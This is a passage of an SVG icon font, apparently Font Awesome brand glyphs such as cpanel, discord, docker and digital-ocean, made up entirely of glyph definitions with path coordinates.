s100.5 224 224 224zM224 32c88.2002 0 160 71.7998 160 160s-71.7998 160 -160 160s-160 -71.7998 -160 -160s71.7998 -160 160 -160z" />
    <glyph glyph-name="cloudsmith" unicode="&#xf384;" horiz-adv-x="332" 
d="M332.5 28.0996c0 -46.3994 -37.5996 -84.0996 -84 -84.0996s-84 37.7002 -84 84.0996c0 46.4004 37.5996 84 84 84s84 -37.5996 84 -84zM248.5 272c-46.4004 0 -80 -33.5996 -80 -80s-37.5996 -80 -84 -80s-84 33.5996 -84 80s37.5996 88 84 88s76 29.5996 76 76
s41.5996 84 88 84s80 -37.5996 80 -84s-33.5996 -84 -80 -84z" />
    <glyph glyph-name="cloudversify" unicode="&#xf385;" horiz-adv-x="616" 
d="M148.6 144v-0.0996094h-48.8994c-6.40039 0 -11.7002 5.39941 -11.7002 11.7998v40.3994c0 7.60059 7 11.9004 10.7998 11.9004h46.7998v-6.59961c0 -10.7002 8.80078 -16.7002 19.5 -16.7002h20.2002c10.7998 0 19.5 8.7998 19.5 19.5v20.3994
c0 10.6006 -3.5 19.5 -15.2002 19.5c18.5 15.2002 37.2002 21.4004 45 24.1006c15 56.5 42 92.3994 99.3008 109.7c55.0996 16.5 153.5 3.09961 186.5 -85c73.8994 -22.6006 106.899 -92.6006 92.0996 -155.101c-13 -54.8994 -62.2998 -100.6 -131.5 -99.5
c-49.5996 -51.3994 -135.2 -48.8994 -186.4 -5.59961c-78.5996 -4.2002 -137.8 42.7998 -146 111.3zM376 136c8.7002 -54.0996 59.7002 -65.5 91.7998 -59.2002c39.1006 7.7002 70.5 37.5 79.7002 76.5c5.7998 24.4004 2.40039 50 -9.40039 72l-10.5 19.6006
c1.2002 -22.5 -12.5 -60.6006 -47.5 -76.9004c65.5 67.7002 2.10059 141.2 -67.6992 150.5c-49.8008 6.59961 -83.3008 -13 -114.2 -43.7002c48 -4.7002 87.7002 -26.7998 101.8 -74.7998c-30.0996 49.2998 -103 56.5996 -133.6 40.7998
c-35.5 -18.2002 -60 -54 -57 -93.8994c3.59961 -47.4004 39.5 -67.4004 57.3994 -79.8008c-4.5 21.7002 -4 71.3008 29.2002 92.9004c-36.2998 -60 28.0996 -144.6 135.3 -110.8c-33.5996 14.3994 -66 40.5 -55.2998 86.7998zM128 240h-39.7998
c-8.90039 0 -16.2002 7.2998 -16.2002 16.2002v39.5996c0 8.90039 7.2998 16.2002 16.2002 16.2002h39.7998c8.90039 0 16.2002 -7.2998 16.2002 -16.2002v-39.5996c0 -8.90039 -7.2998 -16.2002 -16.2002 -16.2002zM10.0996 280c-5.59961 0 -10.0996 4.5 -10.0996 10.0996
v27.8008c0 5.59961 4.5 10.0996 10.0996 10.0996h27.7002c5.5 0 10.1006 -4.5 10.1006 -10.0996v-27.8008c0 -5.59961 -4.5 -10.0996 -10.1006 -10.0996h-27.7002zM168 305.3v21.4004c0 5.09961 4.2002 9.2998 9.2998 9.2998h21.4004
c5.09961 0 9.2998 -4.2002 9.2998 -9.2998v-21.4004c0 -5.09961 -4.2002 -9.2998 -9.2998 -9.2998h-21.4004c-5.09961 0 -9.2998 4.2002 -9.2998 9.2998zM56 212.5v-25c0 -6.2998 -5.09961 -11.5 -11.4004 -11.5h-25.1992c-6.30078 0 -11.4004 5.2002 -11.4004 11.5v25
c0 6.2998 5.09961 11.5 11.4004 11.5h25.0996c6.40039 0 11.5 -5.2002 11.5 -11.5z" />
    <glyph glyph-name="cpanel" unicode="&#xf388;" horiz-adv-x="640" 
d="M210.3 227.8c6.60059 -29.0996 -14.5 -65.2998 -51.7002 -65.2998h-32l6.40039 23.7998c1.7998 6.2002 7.2998 10.7998 14.2998 10.7998h10.2998c12.4004 0 20.8008 11.7002 18.3008 22.6006c-2.10059 9.2002 -9.90039 14.7998 -18.3008 14.7998h-19.7998
l-25.7998 -95.7002c-1.90039 -6.2002 -7.40039 -10.7002 -14.2002 -10.7002l-24.7002 -0.0996094l34.9004 130.1c1.7998 6.40039 7.2002 10.9004 14.2998 10.9004h37c24.1006 0 45.4004 -16.4004 51 -41.2002zM53.7998 199.8c-24.8994 0 -24.7002 -37.3994 0 -37.3994
h11.2998c4.2002 0 7.60059 -3.90039 6.40039 -8.30078l-7.09961 -26.0996h-12.4004c-33.5 0 -59 31.4004 -50.2998 65.2002c7.2998 27 28.2998 41.0996 51.2002 41.0996h40l-6.2002 -23.5996c-1.90039 -6.5 -7.40039 -10.9004 -14.2998 -10.9004h-18.6006zM301.3 234.6
c18.7998 0 33.2998 -17.5996 28.5 -36.7998l-14 -51.7998c-2.7998 -10.5996 -12.2002 -17.7998 -23.3994 -17.7998l-57.5 0.200195c-42.9004 0 -38.5 63.7998 0.699219 63.7998h48.4004l-3.5 -13.2002c-1.90039 -6.2002 -7.40039 -10.7998 -14.2002 -10.7998h-21.5996
c-5.2998 0 -5.2998 -7.90039 0 -7.90039h34.8994c4.60059 0 5.10059 3.90039 5.5 5.2998l8.60059 31.8008c0.299805 1 1.89941 5.2998 -2.10059 5.2998h-57.5c-9.69922 0 -16.5996 8.89941 -14.1992 18.5l3.5 13.3994h77.8994zM633.1 269c4.5 0 7.7002 -4 6.5 -8.2998
l-26.5 -98.2002c-5.09961 -20.7002 -24.1992 -34.5 -44.8994 -34.5l35.5996 133.1c1.2002 4.7002 5.5 7.90039 10.4004 7.90039h18.8994zM396.8 234.3c34.4004 0 59.2998 -32.2998 50.2998 -65.3994l-8.7998 -33.1006c-1.2002 -4.89941 -5.7002 -7.7998 -10.2998 -7.7998
h-19.0996c-4.5 0 -7.60059 4 -6.40039 8.2998l10.5996 40c3.30078 11.6006 -5.59961 23.4004 -18.0996 23.4004h-19.7998l-17.2002 -64c-1.2002 -4.7998 -5.59961 -7.7998 -10.4004 -7.7998h-18.8994c-4.2002 0 -7.60059 3.89941 -6.40039 8.2998l26.2002 98h48.2998
v0.0996094zM495.1 159.7h73.3008l-5.7002 -21c-1.90039 -6.2002 -7.40039 -10.7002 -14.2002 -10.7002h-66.7002c-20 0 -33.2998 19 -28.2998 36.7002l10.7998 40c4.7998 17.5996 20.7002 29.5996 38.6006 29.5996h47.2998c19 0 33.2002 -17.7002 28.2998 -36.7998
l-3.2002 -12c-2.89941 -11 -12.7002 -17.5996 -23.2002 -17.5996h-53.3994l3.5 13c1.59961 6.19922 7.2002 10.7998 14.2002 10.7998h21.5996c2 0 3.2998 1 3.90039 3l0.699219 2.59961c0.700195 2.7002 -1.2998 5.10059 -3.89941 5.10059h-32.9004
c-4.09961 0 -6.89941 -2.10059 -7.7998 -6l-8 -30c-0.900391 -3.30078 1.5 -6.7002 5.09961 -6.7002z" />
    <glyph glyph-name="css3-alt" unicode="&#xf38b;" horiz-adv-x="384" 
d="M0 416h384l-34.9004 -395.8l-157.1 -52.2002l-157.1 52.2002zM313.1 336h-242.199l5.7998 -47.2998h122.899l-6.5 -2.7002l-112.1 -46.7002l3.59961 -46.2998l0.200195 0.0996094v-0.0996094l166.3 -0.5l-3.69922 -61.5996l-54.7002 -15.4004l-52.6006 13.2998
l-3.19922 38.2998h-48.9004l6.40039 -73.8994l98.7998 -29.2002l98.2002 28.7002l12.7998 146.6h-111.5l0.299805 0.100586l115.3 49.2998z" />
    <glyph glyph-name="cuttlefish" unicode="&#xf38c;" horiz-adv-x="440" 
d="M344 142.5c13.7002 -50.9004 41.7002 -93.2998 87 -117.8c-45.2998 -49.6006 -110.5 -80.7002 -183 -80.7002c-137 0 -248 111 -248 248s111 248 248 248c72.5 0 137.7 -31.0996 183 -80.7002c-45.2998 -24.5 -73.2998 -66.8994 -87 -117.8
c-17.5 31.5996 -57.4004 54.5 -96 54.5c-56.5996 0 -104 -47.4004 -104 -104s47.4004 -104 104 -104c38.5996 0 78.5 22.9004 96 54.5z" />
    <glyph glyph-name="d-and-d" unicode="&#xf38d;" horiz-adv-x="576" 
d="M82.5 349.1c-0.599609 17.2002 2 33.8008 12.7002 48.2002c0.299805 -7.39941 1.2002 -14.5 4.2002 -21.5996c5.89941 27.5 19.6992 49.2998 42.2998 65.5c-1.90039 -5.90039 -3.5 -11.7998 -3 -17.7002c8.7002 7.40039 18.7998 17.7998 44.3994 22.7002
c14.7002 2.7998 29.7002 2 42.1006 -1c38.5 -9.2998 61 -34.2998 69.7002 -72.2998c5.2998 -23.1006 0.699219 -45 -8.30078 -66.4004c-5.19922 -12.4004 -12 -24.4004 -20.6992 -35.0996c-2 1.89941 -3.90039 3.7998 -5.80078 5.59961
c-42.7998 40.7998 -26.7998 25.2002 -37.3994 37.4004c-1.10059 1.19922 -1 2.19922 -0.100586 3.59961c8.30078 13.5 11.8008 28.2002 10 44c-1.09961 9.7998 -4.2998 18.9004 -11.2998 26.2002c-14.5 15.2998 -39.2002 15 -53.5 -0.600586
c-11.3994 -12.5 -14.0996 -27.3994 -10.8994 -43.5996c0.199219 -1.2998 0.399414 -2.7002 0 -3.90039c-3.40039 -13.6992 -4.60059 -27.5996 -2.5 -41.5996c0.0996094 -0.5 0.0996094 -1.09961 0.0996094 -1.59961c0 -0.300781 -0.0996094 -0.5 -0.200195 -1.10059
c-21.7998 11 -36 28.2998 -43.2002 52.2002c-8.2998 -17.7998 -11.0996 -35.5 -6.59961 -54.0996c-15.5996 15.1992 -21.2998 34.2998 -22 55.1992zM552.1 225.9c0.5 -0.600586 1.2002 -1 1.7002 -1.40039v-0.5c-15 3.59961 -29.7998 1.7998 -44.5 -1.2998
c-9.2998 -2 -18.2998 -4.7002 -26.7002 -9c-2.89941 -1.5 -5.69922 -3.2998 -8 -4.7002c-5.7998 2.40039 -11.2998 5.5 -17.1992 6.7998c-24.5 5.2998 -45.8008 -1.2002 -62.5 -20c-19.7002 -22.2002 -34.5 -47.5996 -46.7002 -74.5l-1.2002 -2.7002
c-0.0996094 -0.199219 -0.200195 -0.299805 -0.400391 -0.399414c-12.0996 8.2998 -21.5996 20.2998 -36.0996 25.5996c0.299805 0.400391 0.400391 0.900391 0.700195 1.2998c20.5996 28.2002 44.8994 52.5 75.0996 70.4004c16 9.5 33 16.0996 51.5 18.5
c1.7998 0.200195 3.5 0.400391 5.2998 1.09961c-4.39941 0 -8.7998 0.300781 -13.0996 -0.0996094c-21.2002 -1.90039 -40.5 -9.59961 -58.7002 -20.2002c-13.7998 -8 -26.2002 -17.7002 -36.5996 -29.7998c-0.400391 -0.5 -0.600586 -1.09961 -0.900391 -1.7002
c-0.299805 0.299805 -0.700195 0.600586 -1 0.900391c11 30.8994 30.7002 55 57.7002 73.2998c0.200195 -0.200195 0.5 -0.299805 0.700195 -0.5c-1.2002 -1.7002 -2.5 -3.2998 -3.5 -5.09961c-1.7998 -3.30078 -3.7002 -6.5 -5.10059 -10
c-1.7998 -4.30078 1.60059 -8.60059 12 -0.5c18.2002 14.0996 29.6006 26.2998 48.9004 29.5996c0.700195 0.0996094 1.2998 0.299805 1.90039 0.299805h2.5c-1 -0.700195 -1.60059 -1.09961 -2.2002 -1.5c-11.6006 -7.7998 -11.7998 -7.39941 -15 -12
c-2.60059 -3.7002 -0.200195 -8 4.7002 -6.7998c2.59961 0.599609 5.19922 1.2998 7.69922 2.2002c9.40039 3.2998 19 5.7998 29 6.39941c13.9004 0.800781 27.1006 -1.89941 39.9004 -7.09961c15.0996 -6.2002 28.5 -15 40.0996 -26.5996zM316.7 50.4004
c1.5 -1.30078 1.89941 -2.40039 0.899414 -4.2002c-25.2998 -50.2002 -61.0996 -89.1006 -116 -98.7998c-26.7998 -4.7002 -52.8994 -2.7002 -77.8994 8.59961c-18.5 8.2002 -34.6006 19.5996 -47.2002 35.5996c-2 2.60059 -3.7002 5.40039 -5.90039 8.60059
c-0.699219 -7.7998 0.100586 -14.9004 1.5 -21.9004c-0.199219 -0.200195 -0.399414 -0.299805 -0.599609 -0.5c-3.2002 3.40039 -6.59961 6.60059 -9.5 10.2998c-12.2002 15.5 -19.5 33.3008 -24.0996 52.3008c-11.8008 48.2998 -0.5 78.7998 7.7998 101.1
c-8.7002 -4.7998 -16.2002 -10.2998 -23.6006 -16.2002c11.6006 32.7998 31.9004 59.9004 56.1006 84.6006c2.39941 -2.10059 3.2998 -4.7002 3 -7.40039c-0.200195 -1 -5.90039 -38.9004 -5.60059 -44.7002c18.9004 18.9004 40.5 33.2998 64.8008 43.9004
c-7.5 -11.1006 -11 -23.4004 -11.8008 -37.2998c13.4004 12.1992 27.7002 20.0996 46.4004 13.8994c-8.5 -9.09961 -30.7998 -30.5 -38.5996 -64.2998c-5.10059 -21.9004 -3.80078 -43.0996 8.19922 -62.5996c11.2002 -18.3008 27.8008 -27.8008 49.4004 -27.8008
c12.5996 0 23.7998 5 34.0996 11.8008c18.5 12.2998 32.8008 28.5 44 47.5996c1.90039 3.2002 1.10059 2.09961 1.90039 3c19.9004 -16.0996 3.2998 -2.59961 42.7002 -35.5996zM488.7 96.7998c20.2002 -6.59961 35.5 -18.7998 43.7998 -38.8994
c9.2002 -23.1006 2.09961 -49.4004 -17.4004 -66c-16.3994 -14 -35.6992 -19.2002 -57 -17.4004c-0.599609 0 -1.19922 0 -1.89941 -0.299805c15.0996 -10.7002 31.5996 -15.2002 50.8994 -10.6006c-2.19922 -2.39941 -3.89941 -4.69922 -5.89941 -6.5
c-12.2998 -10.8994 -26.9004 -16.8994 -42.9004 -19.7998c-39.5996 -7.2998 -75.5996 12.7998 -85 56.9004c-0.5 2.09961 -0.599609 4.2002 -0.899414 6.39941c-10.8008 -8.19922 -16.4004 -34.0996 -0.700195 -52.2998c-1.60059 0.5 -2.60059 0.700195 -3.60059 1.10059
c-21.2998 8.2998 -34.3994 28.2998 -33.5 51.1992c0.900391 23.2002 4.90039 41 -13 56c-16.5 13.8008 -33 27.4004 -49.5 41.1006c-8.09961 6.7002 -14.7998 14.5 -17 25.0996c-1 4.60059 -1.39941 9.40039 -1.7998 14.1006c-0.5 6.09961 -3.2998 11 -7.89941 14.7998
c-4.5 3.89941 -9.30078 7.39941 -13.8008 11.2002c-8.89941 7.5 -12.2998 18.8994 -7.2998 29.8994c2.7998 -12.8994 9.60059 -18.8994 22.6006 -20.2998c4.39941 -0.5 8.89941 -0.799805 13.2998 -1.5c8.09961 -1.2002 12.7998 -6.09961 14.2998 -14.2002
c0.700195 -3.39941 1.2998 -6.7998 2.2002 -10.2002c1.59961 -5.59961 4.5 -8 10.3994 -8.39941c4.60059 -0.299805 9.30078 -0.5 13.9004 -0.900391c7.59961 -0.599609 14.2002 -3.7998 20.0996 -8.7002c19.4004 -16.1992 39 -32.1992 58.5 -48.2998
c5.7002 -4.7002 12 -8.2002 19.6006 -8.5c16.7002 -0.599609 29 15.2002 24.7998 31.7998c-0.200195 0.700195 -0.400391 1.5 -0.0996094 2.80078c2.39941 -2 4.89941 -3.80078 7 -5.90039c14.0996 -14 18.0996 -39.2998 8.69922 -56.0996
c-2.09961 -3.80078 -5.2998 -7.10059 -8.09961 -10.8008c0.700195 -0.199219 1.7998 -0.5 3 -0.599609c14 -1.40039 27.2002 1 38.9004 9.09961c15.7998 10.9004 18 31.2002 5.39941 45.6006c-4.7002 5.39941 -8.89941 8 -18.7998 12
c6.5 1.2998 19.2002 0.200195 28.7002 -2.90039zM99.4004 268.7c-5.30078 9.2002 -13.2002 15.5996 -22.1006 21.2998c13.7002 0.5 26.6006 -0.200195 39.6006 -3.7002c-7 12.2002 -8.5 24.7002 -5 38.7002c5.2998 -11.9004 13.6992 -20.0996 23.5996 -26.7998
c19.7002 -13.2002 35.7002 -19.6006 46.7002 -30.2002c3.39941 -3.2998 6.2998 -7.09961 9.59961 -10.9004c-0.799805 2.10059 -1.39941 4.10059 -2.2002 6c-5 10.6006 -13 18.6006 -22.5996 25c-1.7998 1.2002 -2.7998 2.5 -3.40039 4.5
c-3.2998 12.5 -3 25.1006 -0.699219 37.6006c1 5.5 2.7998 10.8994 4.5 16.2998c0.799805 2.40039 2.2998 4.59961 4 6.59961c0.599609 -6.89941 0 -25.5 19.5996 -46c10.7998 -11.2998 22.4004 -21.8994 33.9004 -32.6992c9 -8.5 18.2998 -16.7002 25.5 -26.8008
c1.09961 -1.59961 2.19922 -3.2998 3.7998 -4.69922c-5 13 -14.2002 24.0996 -24.2002 33.7998c-9.59961 9.2998 -19.4004 18.3994 -29.2002 27.3994c-3.2998 3 -4.59961 6.7002 -5.09961 10.9004c-1.2002 10.4004 0 20.5996 4.2998 30.2002c0.5 1 1.09961 2 1.90039 3.2998
c0.5 -4.2002 0.599609 -7.90039 1.39941 -11.5996c4.7998 -23.1006 20.4004 -36.3008 49.2998 -63.5c10 -9.40039 19.3008 -19.2002 25.6006 -31.6006c4.7998 -9.2998 7.2998 -19 5.7002 -29.5996c-0.100586 -0.600586 0.5 -1.7002 1.09961 -2
c6.2002 -2.60059 10 -6.90039 9.7002 -14.2998c7.7002 2.59961 12.5 8 16.3994 14.5c4.2002 -20.2002 -9.09961 -50.3008 -27.1992 -58.7002c0.399414 4.5 5 23.3994 -16.5 27.7002c-6.80078 1.2998 -12.8008 1.2998 -22.9004 2.09961c4.7002 9 10.4004 20.5996 0.5 22.4004
c-24.9004 4.59961 -52.7998 -1.90039 -57.7998 -4.60059c8.2002 -0.399414 16.2998 -1 23.5 -3.2998c-2 -6.5 -4 -12.7002 -5.7998 -18.9004c-1.90039 -6.5 2.09961 -14.5996 9.2998 -9.59961c1.2002 0.900391 2.2998 1.90039 3.2998 2.7002
c-3.09961 -17.9004 -2.90039 -15.9004 -2.7998 -18.2998c0.299805 -10.2002 9.5 -7.80078 15.7002 -7.30078c-2.5 -11.7998 -29.5 -27.2998 -45.4004 -25.7998c7 4.7002 12.7002 10.2998 15.9004 17.9004c-6.5 -0.799805 -12.9004 -1.60059 -19.2002 -2.40039
l-0.299805 0.900391c4.69922 3.39941 8 7.7998 10.1992 13.0996c8.7002 21.1006 -3.59961 38 -25 39.9004c-9.09961 0.799805 -17.7998 -0.799805 -25.8994 -5.5c6.2002 15.5996 17.2002 26.5996 32.5996 34.5c-15.2002 4.2998 -8.89941 2.7002 -24.5996 6.2998
c14.5996 9.2998 30.2002 13.2002 46.5 14.5996c-5.2002 3.2002 -48.1006 3.60059 -70.2002 -20.8994c7.90039 -1.40039 15.5 -2.7998 23.2002 -4.2002c-23.7998 -7 -44 -19.7002 -62.4004 -35.5996c1.10059 4.7998 2.7002 9.5 3.2998 14.2998
c0.600586 4.5 0.800781 9.2002 0.100586 13.5996c-1.5 9.40039 -8.90039 15.1006 -19.7002 16.2998c-7.90039 0.900391 -15.5996 -0.0996094 -23.2998 -1.2998c-0.900391 -0.0996094 -1.7002 -0.299805 -2.90039 0c15.7998 14.7998 36 21.7002 53.1006 33.5
c6 4.5 6.7998 8.2002 3 14.9004zM227.8 241.9c3.2998 -16 12.6006 -25.5 23.7998 -24.3008c-4.59961 11.3008 -12.0996 19.5 -23.7998 24.3008z" />
    <glyph glyph-name="deploydog" unicode="&#xf38e;" horiz-adv-x="512" 
d="M382.2 312h51.7002v-239.6h-51.7002v20.6992c-19.7998 -24.7998 -52.7998 -24.0996 -73.7998 -14.6992c-26.2002 11.6992 -44.3008 38.0996 -44.3008 71.7998c0 29.7998 14.8008 57.8994 43.3008 70.7998c20.1992 9.09961 52.6992 10.5996 74.7998 -12.9004v103.9z
M317.5 150.2c0 -18.2002 13.5996 -33.5 33.2002 -33.5c19.7998 0 33.2002 16.3994 33.2002 32.8994c0 17.1006 -13.7002 33.2002 -33.2002 33.2002c-19.6006 0 -33.2002 -16.3994 -33.2002 -32.5996zM188.5 312h51.7002v-239.6h-51.7002v20.6992
c-19.7998 -24.7998 -52.7998 -24.0996 -73.7998 -14.6992c-26.2002 11.6992 -44.2998 38.0996 -44.2998 71.7998c0 29.7998 14.7998 57.8994 43.2998 70.7998c20.2002 9.09961 52.7002 10.5996 74.7998 -12.9004v103.9zM123.8 150.2c0 -18.2002 13.6006 -33.5 33.2002 -33.5
c19.7998 0 33.2002 16.3994 33.2002 32.8994c0 17.1006 -13.7002 33.2002 -33.2002 33.2002c-19.7002 0 -33.2002 -16.3994 -33.2002 -32.5996zM448 352h-384c-17.5996 0 -32 -14.5 -32 -32v-256c0 -17.5996 14.5 -32 32 -32h384c17.5996 0 32 14.5 32 32v256
c0 17.5996 -14.5 32 -32 32zM448 384c35.2002 0 64 -28.7998 64 -64v-256c0 -35.2002 -28.7998 -64 -64 -64h-384c-35.2002 0 -64 28.7998 -64 64v256c0 35.2002 28.7998 64 64 64h384z" />
    <glyph glyph-name="deskpro" unicode="&#xf38f;" horiz-adv-x="480" 
d="M205.9 -64l31.0996 38.4004c12.2998 0.199219 25.5996 1.39941 36.5 6.59961c38.9004 18.5996 38.4004 61.9004 38.2998 63.7998c-0.0996094 5 -0.799805 4.40039 -28.8994 37.4004h79.0996c-0.200195 -50.1006 -7.2998 -68.5 -10.2002 -75.7002
c-9.39941 -23.7002 -43.8994 -62.7998 -95.2002 -69.4004c-8.69922 -1.09961 -32.7998 -1.19922 -50.6992 -1.09961zM406.3 103.7l-119.2 -0.100586l17.4004 31.3008l175.5 -0.300781c-15.2002 -17.2998 -35.0996 -30.8994 -73.7002 -30.8994zM362.7 327.6v-168.3h-73.5
l-32.7002 -55.5h-6.5c-52.2998 0 -58.0996 56.5 -58.2998 58.9004c-1.2002 13.2002 -21.2998 11.5996 -20.1006 -1.7998c1.40039 -15.8008 8.80078 -40 26.4004 -57.1006h-91c-25.5 0 -110.8 26.7998 -107 114v213.3c0 16 9.7002 16.6006 15 16.8008h82
c0.200195 0 0.299805 -0.100586 0.5 -0.100586c4.2998 0.400391 50.0996 2.10059 50.0996 -43.7002c0 -13.2998 20.2002 -13.3994 20.2002 0c0 18.2002 -5.5 32.8008 -15.7998 43.7002h84.2002c108.7 0.400391 126.5 -79.3994 126.5 -120.2zM230.2 271.6l64 -29.2998
c13.2998 45.5 -42.2002 71.7002 -64 29.2998z" />
    <glyph glyph-name="digital-ocean" unicode="&#xf391;" horiz-adv-x="512" 
d="M87 -33.7998v73.5996h73.7002v-73.5996h-73.7002zM25.4004 101.4h61.5996v-61.6006h-61.5996v61.6006zM491.6 271.1c53.2002 -170.3 -73 -327.1 -235.6 -327.1v95.7998h0.299805v0.299805c101.7 0.200195 180.5 101 141.4 208
c-14.2998 39.6006 -46.1006 71.4004 -85.7998 85.7002c-107.101 38.7998 -208.101 -39.8994 -208.101 -141.7h-95.7998c0 162.2 156.9 288.7 327 235.601c74.2002 -23.2998 133.6 -82.4004 156.6 -156.601zM256.3 40.0996h-0.299805v-0.299805h-95.2998v95.6006h95.5996
v-95.3008z" />
    <glyph glyph-name="discord" unicode="&#xf392;" 
d="M297.216 204.8c0 -15.6162 -11.5195 -28.416 -26.1123 -28.416c-14.3359 0 -26.1113 12.7998 -26.1113 28.416s11.5195 28.416 26.1113 28.416c14.5928 0 26.1123 -12.7998 26.1123 -28.416zM177.664 233.216c14.5918 0 26.3682 -12.7998 26.1123 -28.416
c0 -15.6162 -11.5205 -28.416 -26.1123 -28.416c-14.3359 0 -26.1123 12.7998 -26.1123 28.416s11.5205 28.416 26.1123 28.416zM448 395.264v-459.264c-64.4941 56.9941 -43.8682 38.1279 -118.784 107.776l13.5684 -47.3604h-290.304
c-28.9287 0 -52.4805 23.5518 -52.4805 52.7363v346.111c0 29.1846 23.5518 52.7363 52.4805 52.7363h343.039c28.9287 0 52.4805 -23.5518 52.4805 -52.7363zM375.04 152.576c0 82.4316 -36.8643 149.248 -36.8643 149.248
c-36.8643 27.6475 -71.9355 26.8799 -71.9355 26.8799l-3.58398 -4.0957c43.5195 -13.3125 63.7441 -32.5127 63.7441 -32.5127c-60.8115 33.3291 -132.244 33.335 -191.232 7.42383c-9.47168 -4.35156 -15.1035 -7.42383 -15.1035 -7.42383
s21.2471 20.2246 67.3271 33.5361l-2.55957 3.07227s-35.0723 0.767578 -71.9355 -26.8799c0 0 -36.8643 -66.8164 -36.8643 -149.248c0 0 21.5039 -37.1201 78.0801 -38.9121c0 0 9.47168 11.5195 17.1514 21.248c-32.5117 9.72754 -44.7998 30.208 -44.7998 30.208
c3.7666 -2.63574 9.97656 -6.05273 10.4961 -6.40039c43.21 -24.1973 104.588 -32.126 159.744 -8.95996c8.95996 3.32812 18.9443 8.19238 29.4395 15.1045c0 0 -12.7998 -20.9922 -46.3359 -30.4639c7.68066 -9.72852 16.8965 -20.7363 16.8965 -20.7363
c56.5762 1.79199 78.3359 38.9121 78.3359 38.9121z" />
    <glyph glyph-name="discourse" unicode="&#xf393;" 
d="M225.9 416c122.699 0 222.1 -102.3 222.1 -223.9c0 -121.6 -99.4004 -223.899 -222.1 -223.899l-225.801 -0.200195s-0.0996094 224 -0.0996094 227.9c0 121.6 103.3 220.1 225.9 220.1zM224 64c70.7002 0 128 57.2998 128 128s-57.2998 128 -128 128
s-128 -57.2998 -128 -128c0 -22.0996 5.59961 -42.9004 15.4004 -61l-22.9004 -75l81.0996 20.0996c16.5 -7.7998 35 -12.0996 54.4004 -12.0996z" />
    <glyph glyph-name="dochub" unicode="&#xf394;" horiz-adv-x="416" 
d="M397.9 288h-141.9v140.4zM304 256h96v-126.1c0 -129.301 -70.2998 -193.9 -210.8 -193.9h-189.2v512h189.2c12.2002 0 23.7002 -1.09961 34.5996 -3.2998v-84c-10 1.7002 -21.0996 2.5 -33.0996 2.5h-94.7002v-337.3h94.7002c76.7998 0 113.3 33.2998 113.3 100.1v130z
" />
    <glyph glyph-name="docker" unicode="&#xf395;" horiz-adv-x="640" 
d="M349.9 211.7h-66.1006v59.3994h66.1006v-59.3994zM349.9 416v-60.7002h-66.1006v60.7002h66.1006zM428.1 271.2v-59.4004h-66.0996v59.4004h66.0996zM271.8 343.3v-60.0996h-66.0996v60.0996h66.0996zM349.9 343.3v-60.0996h-66.1006v60.0996h66.1006zM626.7 243.3
l13.2998 -8.89941c-1.90039 -3.90039 -7 -14.6006 -8.5 -17.1006c-23.7002 -45.2998 -69.9004 -45.5996 -91.2998 -45.2002c-54.5 -131.699 -171 -204.199 -328.4 -204.199c-72.7002 0 -128.3 22.2998 -165.399 66.1992c-38.2002 45.3008 -52.7002 111.301 -44 162.101
h434.699c22.6006 -0.400391 39.7002 6 48.4004 10.7002c-19.7002 30.1992 -14.7002 76 3.7002 103.8l9.2998 14l14 -9.2998c24.4004 -18.8008 37.7998 -39.7002 41.0996 -63.7002c25.5 4.7998 58.7002 1.2998 73.1006 -8.40039zM115.6 271.2h0.100586v-59.4004h-66.1006
v59.4004h66zM193.7 271.2v-59.4004h-66.1006v59.4004h66.1006zM271.8 271.2v-59.4004h-66.0996v59.4004h66.0996zM193.7 343.3v-60.0996h-66.1006v60.0996h66.1006z" />
    <glyph glyph-name="draft2digital" unicode="&#xf396;" horiz-adv-x="480" 
d="M480 49.9004l-144 -81.9004v64.2002l-336 -0.100586c18.2998 19.1006 84.5 87.8008 161.1 174.801c32.6006 37.1992 78 83.2998 69.7002 127.6c-5.2998 28.2998 -42.2002 50.7998 -83.2998 33.5c-8.59961 -3.59961 -24.5 -17.4004 -26.2998 -24.7002
c28.2998 -4.7002 48 -29.7002 48 -56.7998c0 -31.7002 -25.6006 -57.4004 -57.2998 -57.4004c-37.3008 0 -62.2002 34.1006 -56.7002 67.1006c1.2002 7.89941 5.09961 26.7998 18.2002 47.7002c14.8994 23.8994 45.1992 54.8994 104.3 67.2998
c103.8 21.7002 161.6 -36.6006 166 -41.2002c28.8994 -29.9004 48 -90.7002 12.7998 -153.3c-30 -53.4004 -81 -114.3 -111.8 -149.3h91.2998v64.6992zM369.9 77v-54.4004l47.0996 27.2002zM134.2 286.6c0 12.3008 -10 22.4004 -22.4004 22.4004
c-12.3994 0 -22.3994 -10 -22.3994 -22.4004c0 -12.3994 10 -22.3994 22.3994 -22.3994c12.4004 0 22.4004 10 22.4004 22.3994zM82.5 67.5h114.4c17.5996 19.2002 91.5 100.8 128.5 166.7c36.5996 65.0996 -5.80078 113.3 -5.80078 113.3
c-14.1992 14.9004 -36.8994 36.2002 -82.1992 38.2998c6.7998 -5.5 16.8994 -16.8994 24.2998 -35.7002c11.8994 -30.2998 6.7002 -69.5996 -28.4004 -112.699c-53.0996 -65.2002 -125.2 -142.5 -150.8 -169.9z" />
    <glyph glyph-name="dribbble-square" unicode="&#xf397;" 
d="M90.2002 219.8c8.89941 42.4004 37.3994 77.7002 75.7002 95.7002c3.59961 -4.90039 28 -38.7998 50.6992 -79c-64 -17 -120.3 -16.7998 -126.399 -16.7002zM314.6 294c-2.5 -3.5 -23 -31.0996 -71.5996 -49.4004c-22.4004 41.1006 -47.2002 74.9004 -51 80
c43.2998 10.5 89 -0.799805 122.6 -30.5996zM140.1 84c14.3008 29.2002 53 66.7998 108.101 85.5996c19.2002 -49.7998 27.2002 -91.5996 29.2002 -103.6c-44 -18.7002 -96.8008 -13.5996 -137.301 18zM238.9 192.2c-49.4004 -13.9004 -94.3008 -53.9004 -116.5 -91.7998
c-21.8008 24.2998 -35.1006 56.2998 -35.1006 91.3994c0 1.40039 0.100586 2.7998 0.100586 4.2002c6 -0.200195 72.1992 -1 140.399 19.4004c3.90039 -7.7002 7.7002 -15.4004 11.1006 -23.2002zM273.8 175.9c42.7998 6.89941 80.5 -4.30078 85.1006 -5.80078
c-6.10059 -38 -27.9004 -70.8994 -58.6006 -91.5996c-1.39941 8.2998 -8.59961 48.2998 -26.5 97.4004zM253.5 224.3c50.5 20.7002 73.4004 50 76.2998 53.9004c19.1006 -23.2002 30.6006 -52.7998 30.9004 -85.1006c-4.5 1 -49.7002 10.1006 -95.2002 4.40039
